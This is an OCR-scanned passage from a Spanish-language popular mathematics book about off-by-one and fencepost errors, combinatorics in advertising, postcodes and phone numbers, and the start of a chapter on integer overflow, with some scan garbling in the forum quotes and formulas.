dias hay en una semana. Enseguida se unieron nuevas personas a la discusion
(para mi asombro, apoyando a ambos bandos) y esta dur6 mas de cinco
paginas de mensajes. Cinco de las paginas mas divertidas de internet.

Pero ¢como puede algo tan obvio como el numero de dias que tiene una
semana generar tanta pasion a lo largo de cinco paginas, 129 posts y dos dias
de discusion constante? Bueno, si pudo, y es espectacular. El lenguaje
también es muy creativo y contiene muchas groserias conocidas (y algunas
nuevas, creadas a partir de una mezcla inteligente de tacos clasicos), razon
por la cual no puedo citar muchas de ellas. Su lectura en linea no es apta para
cardiacos.
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-1 72008, 04:5 M 218

Thelosh Publicado orignaiments por Justin-27 o

Heg etered U En caso de que o hayas olvidado, UNA SEMANA va de domingo a sabado,
N0 de domingo a domingo, &so seran B dias, ot

' - Una semana va de domingo a dominga,

Creo gue lo que pasa @5 que no sabes contar No pasa nada, no s lo dire
dewrs Dbe: May 2008 a nadie, lol

OCETDN . Posnin, ArIong
e De domingo a sabado son solo 6 dias. éLas semanas duran 6 dias donde vives?
\gi: 30

Posts: 251
Bep Powsr

05172008, 04:44 P £
_]Uﬁtrl 2_.:' Publicado orignaiments por Thedosh o
Tirna ta Grow No s& ampiera a contar el domingo, odavia no ha pasado un dla, no s
Smplera a onthr hasts & uned. No pusdes contae & dia en &l que et
l-’ Lnunca has dade cases de matematicat sementale?
LLINES &s 1 DIA

MARTES son 2 DiAS
MIFRCOLES son 3 DiAS

Joiry Dbe: Apr 2008 JUEVES son 4 DiAs

Posts: 2,157 VIERMES son 5 DIAS

REp Poveer: 1994
rrriititn SABADD son 6 DLAS

s.i, DOMINGD son 7 DIAS

£0ue quieres dedr con que no 52 empieza a contar & domingo? iEs un jodido DiA!
£Como puedes rechazar las 4 semanas que postee? Dime listillo, douantas veces

entrenas en 4 semanas? ****, fjate en tu bonito calendario y dime si no te salen
14 en un mes.

Al igual que ocurre con las mejores discusiones que se han producido en
linea, en el fondo sospecho que TheJosh es un trol, tomandole el pelo a
Justin-27 para divertirse viendo lo furioso que este se pone. Durante mucho
tiempo, TheJosh se mantuvo fiel a su personaje, hasta que solté un jocoso
«me tomas demasiado en serio». Luego regresdé a su argumento inicial y
siguid con él. Por lo que no podemos descartar la posibilidad de que sea
genuino. Me gustaria creer que si.

Trol o genuino, en cualquier caso, TheJosh ha adoptado una postura ideal,
la cual, aunque es errénea, se apoya en suficientes ideas equivocadas
verosimiles, lo que le permite discutir sobre ella extensamente. Y eso es lo
que hace, utilizando dos clasicos errores matematicos: contar desde cero y los
errores por uno, también llamados errores por un paso.
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Contar desde cero es algo habitual en los programadores. Los sistemas
informaticos se suelen utilizar hasta su limite absoluto, por lo que los
programadores no quieren desperdiciar ni un solo bit. Esto significa contar
desde cero en lugar de desde uno. El cero es, después de todo, un numero
perfectamente valido.

Es como contar con los dedos, que es, de hecho, la forma mas facil de
hacer matematicas. jPero la gente lo sigue encontrando confuso! Cuando
pedimos hasta qué numero puede alguien contar con sus dedos, la mayoria de
personas dicen diez. Pero se equivocan. Puedes contar once numeros distintos
con tus dedos: de cero a diez. Y esto es sin hacer trampas, por ejemplo,
utilizando diferentes sistemas numéricos que hacen que pongas los dedos en
posiciones ridiculas. Si pasas de no mostrar ningun dedo a mostrar los diez,
estos pueden adoptar once posiciones distintas.

El tnico inconveniente es que eliminas el vinculo entre el nimero que
estas utilizando para mantener el registro de tu contaje con el nimero de cosas
que estas contado. El primer objeto corresponde a cero dedos, el segundo a un
dedo, y asi hasta el objeto once que se representa con diez dedos.

Si entrenas el dia 8 del mes, no has de empezar a contar los dias hasta que llegue el dia 9,
porque eso seria un dia completo, entonces el dia 10 ya serian dos dias, y asi hasta llegar al dia
22, que serian 14 dias.

TheJosh (post #14)

Eso es contar desde cero de incégnito. Para TheJosh, el octavo dia del mes
es el dia cero, por lo que el noveno dia del mes es el primer dia que esta
contando. Pero eso no quiere decir que el total sea de catorce dias. Contar
desde cero rompe el vinculo entre aquello que estas contando y cual es el
total. Contar desde cero a catorce hace un total de quince.

Este tipo de error es tan comun que la comunidad de programadores tiene
un nombre para €l: OBOE, las siglas en inglés para errores por uno, o por un
paso. Se le dio ese nombre por el sintoma y no por la causa, pues la mayoria
de los errores por uno proceden de complicaciones de forzar al codigo para
que se ejecute un numero determinado de veces o contar un cierto numero de
cosas. Estoy obsesionado con una clase concreta de errores por uno: el
problema de los postes de una valla. Y esa es la segunda arma del arsenal de
Josh.

Este error recibe el nombre de problema del poste porque se describe
clasicamente utilizando la metafora de una valla: si un tramo de 50 metros de
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valla tiene un poste cada 10 metros, ;cuantos postes hay? La respuesta
inexperta es cinco, pero tendria que haber seis.

Cinco secciones de valla necesitan seis postes.

La suposicion innata es que, a cada seccion de valla le corresponde un
poste, lo cual es cierto para la mayor parte de la valla, pero ignora el poste
extra que hay que poner para que haya uno en cada extremo. Es un ejemplo
claro de que nuestros cerebros llegan a una conclusion que puede ser
facilmente desmentida por las matematicas. Siempre estoy buscando ejemplos
interesantes. Una vez que estaba subiendo por las escaleras mecanicas de una
estacion de metro en Londres vi una sefial que atrajo mi atencion. jEra un
problema del poste en el mundo real!

Siempre hay alguna parte del metro que se esta reparando y Transporte de
Londres intenta poner sefales explicando por qué tu trayecto es mas
desagradable de lo habitual. Esa mafana en particular, eché una mirada a la
sefial que estaba en la escalera mecanica cerrada y tuve que subir los cientos
de escalones adyacentes. La sefial decia que la mayoria de escaleras
mecanicas del metro se renovaban dos veces, lo que les daba «el doble de
vida». Esto cae de lleno en el territorio del problema del poste: algo se alterna
(la escalera se usa, la escalera se renueva, repetir) y debe empezar y terminar
en el mismo punto (la escalera se usa). Si una escalera se renueva dos veces,
se usara tres veces mas que si no hubiese sido renovada nunca. La gente que
pasaba por la estacion no cayo en la cuenta.

‘ UusoO Uuso E UsO
(4

Dos reformas permiten tres periodos de uso.

Los errores por uno también explican una pelea que siempre he tenido con
la teoria musical. Desplazarse a lo largo de las teclas del piano se mide en
términos del numero de notas que abarca: golpear Do en un piano, saltarse Re
y luego golpear Mi es un intervalo llamado tercera, porque Mi es la tercera
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nota de la escala. Pero lo que realmente importa no es cuantas notas se
utilizan, sino la diferencia entre ellas. Es el problema inverso al del poste: los
intervalos musicales cuentan los postes, jcuando deberian contar la valla!l”]

Por lo tanto, cuando se toca el piano, subir un «tercio» significa subir dos
notas, y subir un «quinto» es subir solo cuatro notas. Si lo juntamos todo, toda
la transicion es un «séptimo», lo que nos da 3 + 5 = 7. Contar los separadores
y no los intervalos significa que la nota existente entre las transiciones se
cuenta dos veces. Esa es también la razon por la que una «octava» de siete
notas (y siete intervalos) tiene el «oct» (ocho) en el nombre que la define. El
lado positivo es que puedo echar la culpa de mi terrible falta de habilidad
musical al comportamiento anormal de los nimeros.

Cuando se trata de medir el tiempo, utilizamos una curiosa mezcla de
contar los postes y contar las secciones de una valla. O podemos verlo en
términos de redondeo. La edad se redondea sistematicamente hacia abajo: en
muchos paises, un humano tiene edad cero durante su primer afio de vida y
pasa a tener un afio de edad después de haber finalizado todo ese periodo de
su vida. Siempre somos mas viejos que lo que dice nuestra edad. Lo que
significa que al cumplir treinta y nueve afios no estas en tu trigésimo noveno
afio de vida, sino en el cuadragésimo. Si contamos el dia en que nacemos
como nuestro cumpleafios (contra lo que es muy dificil argumentar), entonces
cuando cumples treinta y nueve es realmente tu cuarenta cumpleafios. Por
muy cierto que sea, segun mi experiencia, a la gente no le gusta verlo escrito
en su tarjeta de cumpleanios.

Los dias y las horas también se cuentan de forma diferente. Me encanta el
ejemplo de alguien que empieza a trabajar a las ocho de la mafiana y a las
doce ya tiene que haber limpiado los pisos ocho al doce del edificio. Si limpia
un piso por hora dejaria un piso entero sin limpiar. Y no en todos los paises se
nombran los pisos de la misma manera. En algunos cuentan los pisos desde
cero (en ocasiones representado por una G, por razones arcaicas perdidas en
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la historia) y en otros por el 1. Y los dias se cuentan de forma diferente a
como se cuentan las horas: si los pisos ocho al doce se han de limpiar a fondo
entre el 8 de diciembre y el 12 de diciembre, habria suficiente tiempo para
hacer un piso por dia.

Este problema lleva vigente mucho tiempo. Es la razén por la que, hace
dos mil afios, Julio César instaurd los afios bisiestos cada tres afios en lugar de
cada cuatro. Los pontifices de la época utilizaban el inicio del cuarto afio. Es
como si necesitaras dejar algo de cerveza para que fermentara para los
primeros cuatro dias del mes y lo detuvieras la mafiana del cuarto dia. jSolo
habrian pasado tres dias! Los pontifices hicieron lo mismo, pero, en lugar de
con cervezas, con los anos. Si empezamos a contar desde el principio del afio
uno en lugar desde el afio cero, entonces el inicio del afio cuatro solo es tres
afios mas tarde. Curiosamente, si te bebes mi cerveza casera, también te
sentiras como si te faltara un afio de tu vida (yo la llamo «cerveza bisiesta»).

Sin duda alguna, estos no son los unicos errores matematicos de la era
clasica. Las personas de hace dos mil afios eran tan buenas a la hora de
cometer errores matematicos como lo somos nosotros, lo que ocurre es que la
mayoria de las pruebas han sido destruidas. Y creo que eso es lo que también
les gustaria que sucediera a los que los cometen hoy en dia. Pero, hurgando
entre antiguos informes, salen a la luz algunos errores, entre ellos el que creo
es el ejemplo mas antiguo de error del poste.

Marco Vitruvio Polion fue contemporaneo de Julio César y le conocemos,
en gran parte, por sus muchos escritos sobre arquitectura y ciencia. El trabajo
de Vitruvio fue muy influyente en el Renacimiento, y EI hombre de Vitruvio
de Leonardo da Vinci se llama asi por él. En su tercer libro de una serie de
diez, titulada De architectura, habla sobre como construir un templo
(incluyendo siempre un nimero impar de escalones, por lo que siempre que
alguien coloque su pie dominante sobre el primer escalén utilizara el mismo
pie cuando llegue arriba). También habla sobre un error comtn que se comete
cuando se colocan las columnas. Para un templo que sea el doble de largo que
ancho, «aquellos que colocan el doble de columnas para la longitud del tempo
parece que han cometido un error porque el templo tendra entonces un
intercolumnio mas que no deberia tener».

En el latin original, ademas de que las columnas aparecen como
columnae, Vitruvio habla de las intercolumnia, o espacios entre columnas. Al
doblar la longitud del templo no se necesita el doble de columnas, aunque, en
su lugar, si que necesitan el doble de espacios entre columnas. Vitruvio
advierte a aquellos que construyen templos que no cometan el error del poste
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y acaben con una columna de mas. Si alguien puede encontrar un ejemplo
antiguo de un error del poste o de un error por uno me encantaria conocerlo.

El problema sigue causando molestias a mucha gente. A las cinco de la
tarde del 6 de septiembre de 2017, el matematico James Propp estaba en una
tienda de teléfonos madviles Verizon, en Estados Unidos, comprandose un
nuevo teléfono. Era para su hijo y, afortunadamente, venia con una péliza de
reembolso «sin preguntas» si se devolvia dentro de los catorce dias después
de la compra. Resulta que el teléfono no era lo que buscaba su hijo, y dos
semanas después, el 20 de septiembre, Propp fue a devolverlo. Pero, a pesar
de estar dentro del plazo de catorce dias desde que se compré el teléfono, la
tienda no podia completar la devolucion ya que, técnicamente hacia quince
dias que se habia establecido el contrato.

Parece que Verizon empez0 a contar en el dia uno y no en el dia cero y
utilizaban el nimero de dia como forma de medir el paso del tiempo. Desde el
mismo momento en el que James recibié su teléfono Verizon ya contaba que
era suyo durante todo el dia. Al inicio del dia dos, segun el sistema de
Verizon ya tenia el teléfono durante dos dias, a pesar de que lo hubiera
recibido tan solo siete horas antes, y asi sucesivamente, lo que hizo que al
final James hubiera tenido el teléfono durante menos de catorce dias, aunque
segun Verizon lo tuvo quince dias.

En la tienda, el gerente no podia hacer nada porque el sistema de Verizon
consideraba que James lo devolvia el dia quince de su contrato y habia
bloqueado cualquier opcion de devolver el producto. Pero, cuando James fue
a casa y repaso la letra pequefia del contrato, observo que no se hacia mencién
alguna de que el primer dia del contrato contaria como dia uno. Algunos de
sus familiares, que eran abogados, le contaron que este problema ya habia
sucedido antes y que, legalmente, es importante eliminar la ambigiiedad del
dia cero. En su estado natal, Massachusetts, el sistema legal tiene que lidiar
con este problema cuando tiene que dictar una sentencia, y asi lo ha definido:

Al computar cualquier periodo requerido o permitido por estas normas, por orden judicial o por

cualquier ley o norma aplicable, no se debe incluir el dia del acto, suceso o por defecto a partir
del cual empieza el periodo de tiempo sefialado.

Reglas de Procedimiento Civil de Massachusetts, Regla

de Procedimiento Civil 6: Tiempo, Seccién (a) Computo.

James se dio cuenta de que era probable que no hubiera suficientes
personas que hubieran sido victimas del abuso de Verizon con el nimero cero
para presentar una demanda colectiva. En su caso, podia utilizar las
matematicas (y amenazar con cancelar sus otros contratos) hasta que se
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agotaran lo suficiente como para darle la razén. Pero no todo el mundo tenia
la seguridad matematica o el tiempo libre para defender el caso. James
propone una regla del dia cero, lo que significa que todos los contratos estan
obligados a reconocer el dia cero, una iniciativa que cuenta con todo mi
apoyo.

Pero no creo que veamos producirse ese cambio. L.os errores por uno
llevan siendo un problema desde hace miles de afios y sospecho que seguiran
siéndolo durante algunos miles mas. En gran parte como ocurrié con
bodybuilding.com (que creo que finalmente se cerrd), voy a darle la ultima
palabra a TheJosh:

Mi argumento ha sido demostrado por gente inteligente. Si coges una Unica semana y no
dos semanas, solo una, y entrenas cada dos dias, puedes entrenar 4 dias por semana. Fin, deja
de quejarte.

ThelJosh (post #129)

Guerra de combinaciones

Contar combinaciones puede ser una ardua tarea porque las opciones se van
afladiendo muy rapidamente y producen nimeros asombrosamente grandes.
Desde 1974, Lego ha afirmado que utilizando solo seis de sus piezas comunes
y corrientes de dos por cuatro se pueden conseguir 102.981.500
combinaciones diferentes. Pero, para llegar a ese numero, tuvieron que hacer
algunas suposiciones y un error.

Su calculo da por hecho que todas las piezas son del mismo color (e
idénticas en cualquier otra caracteristica) y que cada una de ellas se coloca
encima de otra para lograr una torre de seis piezas de alto. Empezando con
una pieza en la base, existen cuarenta y seis formas diferentes de colocar cada
una de las piezas siguientes encima de la anterior, lo que da un total de 46° =
205.962.976 torres. De todas esas torres, treinta y dos son unicas, pero las
otras 205.962.944 son copias de las demas. A cualquiera de esas torres se le
puede dar la vuelta y se vera exactamente igual que otra torre. La mitad de
205.962.944 mas 32 nos da un total de 102.981.504. El tnico error es que la
calculadora de 1974 que proceso6 todo esto no soportaba tantos digitos, por lo
que la respuesta se redonde6 hacia abajo quitando cuatro.

Y entonces, un buen dia, el matematico Sgren Eilers estaba paseando por
Legoland, en Dinamarca, y no se sentia satisfecho con el nimero 102.981.500
que vio expuesto. Un tiempo después, en su despacho de la Universidad de
Copenhague, decidié averiguar el nimero de combinaciones resultantes de
combinar seis piezas de dos por cuatro de Lego, pero teniendo en cuenta que
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las piezas se pudieran colocar una junto a otra ademas de una encima de otra.
No era un calculo que se pudiera hacer a mano. Incluso con seis piezas de
Lego, el nimero de formas en las que se pueden unir entre si es demasiado
grande para que lo cuente un humano. Un ordenador tendria que explorar
todas las opciones posibles e irlas contabilizando. Esto ocurria en 2004, y los
ordenadores eran mucho mas potentes que en 1974, pero aun asi fue necesaria
media semana para obtener la respuesta: 915.103.765.

Existen veintiuna formas de unir dos piezas en la misma direccion y veinticinco formas de hacerlo en
direcciones diferentes. Un total de cuarenta y seis opciones, y solo las dos del centro son simétricas.
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Para asegurarse de que su calculo era correcto, Eilers le pasé el problema
a un estudiante de secundaria, Mikkel Abrahamsen, que estaba buscando un
proyecto de matematicas. El codigo que utilizé Eilers estaba escrito en el
lenguaje de programacion Java y se ejecutaba en un ordenador Apple. A
Abrahamsen se le ocurrié una nueva forma de explorar las combinaciones y
lo program6 en Pascal para que se ejecutase en una maquina Intel. Ambos
métodos completamente diferentes dieron la misma respuesta de 915.103.765,
por lo que podemos estar bastantes seguros de que es correcto.

Dado que el céalculo de combinaciones puede producir nimeros tan
enormes, se suelen utilizar en publicidad. Pero rara vez las compafiias se
preocupan de obtener la respuesta correcta. Cuando Peter Cameron, un
matematico especialista en combinatoria fue a un restaurante de tortitas en
Canada, se fijo en que anunciaban que se podia elegir entre «1.001
coberturas». Siendo especialista en combinatoria, se dio cuenta de que 1.001
es el namero total de maneras de mezclar cuatro cosas de un total de catorce
opciones, por lo que supuso que disponian de catorce coberturas y que los
clientes podian elegir cuatro. En realidad, el restaurante tenia veintiséis
coberturas (lo preguntd) y habian elegido «1.001» Uinicamente porque era un
numero que parecia enorme. Si hubieran calculado las matematicas
correctamente, esas veintiséis coberturas daban un total de 67.108.864
opciones. Un extrafio caso de marketing que subestima la realidad.

De forma parecida, en 2002, McDonald’s puso en marcha una campafia
publicitaria en el Reino Unido para promocionar su Meni McChoice, que
consistia en ocho productos diferentes. Pésteres colgados por todo Londres
prometian que cada consumidor podria elegir entre 40.312 opciones, un
numero que, ademas de ser erroneo, viene acompafiado de una guarnicion
extra de error. Y lo que lo convierte en un caso especial es que, cuando les
avisaron de sus errores, McDonald’s no admiti6 su error, sino que insistio en
justificar sus malas matematicas.

Calcular el nimero de combinaciones de ocho productos del menu es
razonablemente facil. Imagine que le ofrecen cada una de las opciones de una
en una. ;Quiere una hamburguesa? ;Si o no? ;Quiere patatas fritas? ;Si o no?
Habra ocho elecciones si-no, por lo que  tendremos
2x2x2x2x2x2x2x2=28=7256 opciones. Entre ellas estd no escoger
nada del menu, escoger comerlo todo y todas las combinaciones entre ambos
extremos. Y si no comer nada no cuenta técnicamente como comida, nos
quedan 255 opciones (aunque algunas personas opinaran que «sin comer» es
su opcidn favorita a la hora de visitar un McDonald’s).
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El numero que utiliz6 McDonald’s era el resultado de un calculo muy
diferente. Es la respuesta a la pregunta de en cuantas formas diferentes se
pueden disponer ocho productos del ment. En este caso, imagine que tiene
los ocho productos frente a usted y tiene que comerlos de uno en uno. Tiene
ocho opciones para escoger cual se come primero, siete opciones para lo que
quiere  comerse en segundo lugar, y asi  sucesivamente:
8Xx7x6x5x4x3x2x1=8!=40.320 formas de comerse un menu de
ocho componentes!8! . McDonalds’s es muy optimista al suponer que la gente
pedira los ocho productos del menu y decidira el orden favorito en que quiere
comérselos. (Con tres comidas por dia, harian falta treinta y siete dias para
probarlas todas. Eso es pasar demasiado tiempo en la Casa de Ronald.)

Y luego vino la guarnicion extra de error, que creo que realmente fue el
unico momento de claridad que tuvo McDonald’s. Decidieron que una
«combinacion» requeria al menos que se combinaran dos productos, por lo
que restaron ocho de su total, para eliminar la opcion de un unico producto.
Por supuesto, el calculo que hicieron originalmente no fue en ningtin caso el
ntimero de combinaciones, por lo que el resultado final fue un sinsentido!®l. E
incluso si lo hubieran hecho correctamente, se olvidaron de eliminar la opcion
«sin comer» de su lista. En realidad, el numero de combinaciones de dos o
mas productos de un menu de ocho productos es 247. Mucho menos que
40.312. Todo lo contrario a su habitual publicidad: jHazlo grande!

La diferencia era tan enorme que 154 personas se quejaron a la Direccién
de Normas de Publicidad del Reino Unido (ASA por sus siglas en inglés) de
que McDonald’s estaba exagerando enormemente cuantas opciones ofrecia
realmente su Mend McChoice. Obligado ahora a defender su posicién,
McDonald’s no admitié que sus matematicas fueran erréneas. En cambio, la
compafiia opto por la estrategia clasica de «soy absolutamente inocente» al
presentar dos excusas mutuamente excluyentes, como un nifio culpable que
dice que nunca hubo una hamburguesa y, al mismo tiempo, que fue su
hermano quien se la comio.

Primero, cuando se les dijo que el nimero de formas en las que se puede
pedir una comida es irrelevante, McDonald’s declar6 que no era asi. Segun el
reglamento de la ASA:

Los anunciantes dijeron que sabian que algunas personas podrian pensar que una hamburguesa
doble de queso y un batido de leche fuera la misma permutacién que un batido de leche y una
hamburguesa doble de queso, pero creyeron que cada permutacion debia considerarse como una
experiencia gastronomica diferente.
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Ni siquiera voy a analizar su uso de la palabra «permutacion», porque nos
distraeria del hecho de que McDonald’s defendid seriamente que comerse la
hamburguesa o beberse el batido en primer lugar hace que se trate de dos
comidas diferentes. Nadie les ha dicho que, en lugar de comerse sus
productos en serie, algunas personas los consumen en paralelo, lo que permite
un nimero gastronomico de posibles mends.

Dando por hecho que la compafiia lo que queria era calcular el nimero de
disposiciones del menu (su respuesta incluso utilizé el nombre técnico para
ese calculo: un «factorial»), McDonald’s también decidi6 que 40.312 no era
el resultado de un calculo, sino que era una cifra meramente ilustrativa.
Sostenian que el calculo real incluiria las diferentes variaciones de sabores de
algunos de los productos del menu (para un nuevo total de dieciséis
componentes distintos), lo que da un numero total de combinaciones mayor
que 65.000. ;Lo cual es correcto! (216 = 65.536). Pero incluye cosas como
entrar en un McDonald’s y pedir un batido de cada sabor y llamar a eso
comida.

Finalmente, la Direccién de Normas de Publicidad fall6 a favor de
McDonald’s y desestimo las reclamaciones. Sefialaron que McDonald’s habia
puesto un numero incorrecto en su anuncio, pero decidio que la compafiia
solo pretendia indicar que habia un monton de elecciones y que el total de
«mas de 65.000» era mayor que el numero real de combinaciones prometidas.
Pero, en este caso, el «lovin’ it» no funcion6. Se presenté un recurso de
apelacion quejandose de que un anunciante no deberia poder cambiar
retrospectivamente el calculo que hay detras de un numero utilizado en un
anuncio. El recurso de apelacion fue denegado. Y eso fue todo.

Aunque han pasado décadas desde entonces, voy a reabrir este caso sin
resolver (probablemente nunca se cerrd) y echar una ultima mirada a los
hechos. Voy a contar unicamente los productos razonables. Los ocho
productos del Menii McChoice se pueden combinar en diferentes tipos de
aperitivos y comidas como haria cualquier persona. Creo que podemos cubrir
con ello cualquier menu razonable posible:

e Bebidas:

o Cuatro refrescos, cuatro batidos o ninguna bebida: 9

e (Comidas:

o Hamburguesa con queso, sandwich de pescado o perrito calientel1%]. Permito
que la gente no escoja plato principal (una opcién), uno de estos (tres opciones)
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0 dos de estos si estdn muy hambrientos (posiblemente, dos del mismo); 6
opciones: 1+ 3+ 6 =10

e ;Quiere ademas patatas fritas?
o Siono:2
e Postres:

o Pastel de manzana, tres sabores de McFlurry o los cuatro batidos. Aunque se
hubiera elegido un batido como bebida principal, no voy a juzgar el hecho de
que alguien quiera otro como postre. Con la opcién de no tomar postre hacen
untotalde: 1+3+4+1=9

Eso nos da un total de: 9 x 10 x 2 x 9 =1.620

Si eliminamos la opcion de «no comer» nos quedan 1.619 combinaciones
legitimas de productos del menu. Es posible argumentar que he pasado por
alto alguna combinacion que la gente podria pedir, pero estoy bastante seguro
de que McDonald’s no quiere utilizar su publicidad para sugerir que la gente
entre y se coma siete perritos calientes de un tiron. Seria un «unhappy meal».

¢Es tu permutacién lo suficientemente grande?

En ocasiones, el numero de opciones permitidas puede dar lugar a
limitaciones serias. Los codigos postales de Estados Unidos tienen cinco
digitos de longitud y van del 00000 al 99999: un total de tan solo cien mil
opciones. Dado que Estados Unidos tiene una superficie total de 9.158.022
kilometros cuadrados, esto da menos de 100 kilometros cuadrados por codigo
postal potencial. No se puede ser mas preciso que eso (por término medio).
Esto ayuda a restringir la entrega de correo, pero el resto de la direccion es
necesaria para precisarla mas.

Puede ser peor: Australia utiliza codigos postales de cuatro digitos
teniendo una superficie comparable a la de Estados Unidos (7.692.024
kilometros cuadrados), por lo que cada codigo postal abarca, por término
medio, 769 kilometros cuadrados con los que lidiar. Pero gracias a tener poca
poblacion, hay solo unas 2.500 personas por codigo postal, mientras que en
Estados Unidos la cifra es de unos 3.300 humanos por codigo. Esos nimeros
suponen que la distribucion de la poblacion es equitativa y, segun mi
experiencia, a la gente le gusta ir donde hay mas gente, lo que implica mas
humanos por cédigo postal. Me fijé solo en el cddigo postal australiano del
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lugar en el que creci (6023) y, en 2011, vivian alli 15.025 personas en 5.646
viviendas diferentes.

Ahora vivo en el Reino Unido, y si me fijo en mi cddigo postal hay solo
treinta y dos direcciones. Eso es todo. Todos en la misma calle. Los cédigos
postales del Reino Unido tienen una resolucion mucho mas fina que los
australianos o los estadounidenses. El edificio donde esta mi despacho esta en
un codigo postal solo para él, un codigo postal que abarca un unico edificio.
Puedo dar mi direccién o dar solo mi nombre y mi codigo postal. Para
estadounidenses y australianos eso suena ridiculol11l,

En el Reino Unido se utilizan codigos postales mas largos y permiten que
estos tengan letras, digitos y espacios especificos. Existen algunas
limitaciones sobre donde se pueden colocar las letras y los digitos, pero el
sistema sigue permitiendo la impactante cantidad de mil setecientos millones
de codigos postales posibles.

G U 7 2 E
E 1 4 S
S W1 A 1 A A

Algunos ejemplos de cédigos postales. He trabajado en dos tercios de ellos.

A
N

27 x 26 x 10 x 37 x 10 x 26 x 26 = 1.755.842.400

Para ser justos, esta cifra es una sobrestimacién, porque algunas de las
letras de un codigo postal del Reino Unido describen una zona geografica. El
«GU» de mi ejemplo es para la zona de Guildford; «SW» y «E» son para las
zonas del sudoeste y el este de Londres respectivamente. Si el Reino Unido
quisiera realmente maximizar su formato de codigos postales permitiendo que
todas las letras y digitos estuvieran en cualquier posicion de dos grupos de
tres o cuatro simbolos cada uno, entonces habria 2.980.015.017.984. Seria
suficiente para que cada pedacito de terreno de unos 30 centimetros cuadrados
tuviera su codigo postal. Creo que es una gran idea. Cuando hago mi compra
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del supermercado en linea, podria darle a cada cosa que pido la direccion de
entrega que corresponde al armario exacto en el que necesito que acabe
depositada.

Los nimeros telefonicos resuelven el problema asignando los nimeros a
personas, pero en este caso si que necesitamos un emparejamiento uno a uno.
Al principio, habia un numero de teléfono por casa y, ahora, con los teléfonos
moviles, tenemos un numero por humano. Pero no hay suficientes nimeros
para todos.

En el pasado, las llamadas de larga distancia o internacionales eran
exageradamente caras, por lo que las compafias telefénicas intentaban rebajar
las tasas de las demas compaiiias de tal forma que los clientes no tuvieran que
cambiar de proveedor. L.as compafiias proporcionaban un numero gratuito al
que llamar, después de lo cual se podia introducir un codigo de identificacién
y luego el numero al que se queria llamar. El coste de esta segunda llamada,
que rebotaba a través de la compaiiia intermediaria, se cargaba a la cuenta
asociada al codigo de identificacion.

El problema era que estas compaiiias intermediarias no aceptaban cédigos
largos. En internet, algunas personas comentan cOmo algunas compaiiias
suelen usar solo codigos de cinco digitos, a pesar de tener decenas de miles de
clientes. Cinco digitos permiten solo cien mil posibles codigos, y diez mil
clientes utilizarian el 10% de ese total. En matematicas, dirilamos que el
conjunto de numeros posibles esta saturado en una proporcion bastante alta
del 10%. Con menos de diez cddigos posibles por cliente, no se tardaria
mucho en adivinar uno valido y hacer una llamada «gratis». Esta clase de
seguridad por ocultacién solo funciona si el nimero de cédigos posibles es
mayor al numero de cédigos validos.

Incluso parece que el nimero de humanos sobre la Tierra se encuentra en
una tasa de saturacién alta de nimeros telefénicos posibles. Si hubiera mas
numeros teleféonicos que personas, serian desechables (los ndmeros
telefénicos, no los humanos). Pero, dado que los ndmeros telefénicos,
historicamente, necesitaban poder ser memorizados, siempre ha existido
presién para que siguieran siendo cortos. Y por ese motivo, no hay suficientes
para poder descartarlos, por lo que los nimeros telefénicos se reciclan;
cuando cancelamos un contrato con una compaiiia telefénica, nuestro niimero
no se elimina, se le da a otra persona. La posibilidad de que un nimero que
esta vinculado directamente a nuestra informaciéon personal finalmente se le
dé a otra persona es, sin duda alguna, un riesgo de seguridad.
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Mi historia favorita sobre un numero telefénico reciclado procede del
Ultimate Fighting Championship (UFC por sus siglas en inglés). La UFC es
una competicion de artes marciales mixtas que solo me sonaba remotamente
porque el lugar donde pelean es un octagono y se refieren a él con ese
nombre. Diria que llamar a un programa de television «Camino al Octagono»
y luego ver un grupo de luchadores es publicidad falsa. Y mejor no me pongo
a hablar de como unos pocos poligonos superiores aparecian en «Mas alla del
Octagono».

El luchador de peso wélter de la UFC, Rory MacDonald, se percat6 de
que nunca le ponian la cancién que habia solicitado cuando se dirigia al
octagono para pelear. Sus oponentes elegian canciones agresivas para
animarse, y esas si que las ponian, pero parecia que sus elecciones eran
ignoradas. Me imagino que dirigirse a la zona de pelea y oir la inesperada
explosion de «U Can’t Touch This» de MC Hammer no ayuda mucho. Los
demas luchadores se reian de sus elecciones musicales.

Esto siguio asi hasta que, el dia previo a una pelea, el productor se dirigio
a Rory y se disculp6 por no haber sido capaz de poner la cancion de
Nickelback que €l habia pedido. Rory respondié que nunca habia pedido tal
cosa y el productor le mostré los mensajes de texto en los que la pedia.
Habian reciclado un antiguo nimero de teléfono de Rory y se lo habian dado
accidentalmente a un fan de la UFC que estuvo eligiendo alegremente la
musica de Rory por €él. Es una gran historia sobre las limitaciones del nimero
de combinaciones y la primera vez que se recuerda que Nickelback consigui6
que alguien dejase de sufrir.
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Seis

NO CUADRA

Gandhi es famoso por ser el pacifista que condujo a la India a su
independencia del Reino Unido. Pero, desde 1991, también se ha ganado una
reputacion como lider militarista que lanza ataques nucleares sin mediar
provocacion alguna. Y esto es gracias a los juegos de ordenador de la saga
Civilization, que han vendido mas de 33 millones de copias. Te has de
enfrentar a varios lideres mundiales de la historia en una carrera para
construir la civilizacion mas grande, una de las cuales es la de Gandhi,
normalmente un hombre pacifico. Pero, incluso desde las primeras versiones
del juego, los jugadores se dieron cuenta de que Gandhi era un poco capullo.
Nada mas desarrollar la tecnologia atomica, empezaba a soltar bombas
nucleares sobre otras naciones.

Y esto era debido a un error en el coédigo informatico. Los disefiadores del
juego habian asignado deliberadamente a Gandhi el nivel mas bajo de
agresividad posible distinto de cero, valorado con una puntuacion de 1. Tipico
de Gandhi. Pero mas tarde, en el juego, cuando todas las civilizaciones se
volvian mas, bueno, civilizadas, a cada lider se le reducia su nivel de
agresividad en dos puntos. En el caso de Gandhi, que empezaba con una
puntuacion de 1, el calculo se efectué asi: 1 — 2 = 255, y de repente tenia el
nivel maximo de agresividad. A pesar de que posteriormente se subsano el
error, las versiones nuevas del juego mantienen como tradicion que Gandhi
siga siendo el lider que es mas feliz lanzando bombas nucleares.

El ordenador obtenia una respuesta de 255 por la misma razén que los
ordenadores tienen problemas haciendo un seguimiento del tiempo: la
memoria digital es finita. Los niveles de agresividad se almacenaban como un
numero binario de 8 digitos. Empezar en 0000001 y disminuir dos daba
00000000 y luego 11111111 (que es 255 en los numeros habituales de base
10). En lugar de pasar a negativo, el nimero almacenado en un ordenador da
la vuelta empezando de nuevo por el maximo valor posible. Este tipo de
errores se conocen como errores de desbordamiento, y pueden romper el
codigo informatico de formas realmente interesantes.

En Suiza no se permite que los trenes tengan 256 ejes. Puede parecer
extrafio, pero no significa que los reguladores europeos se hayan vuelto locos.
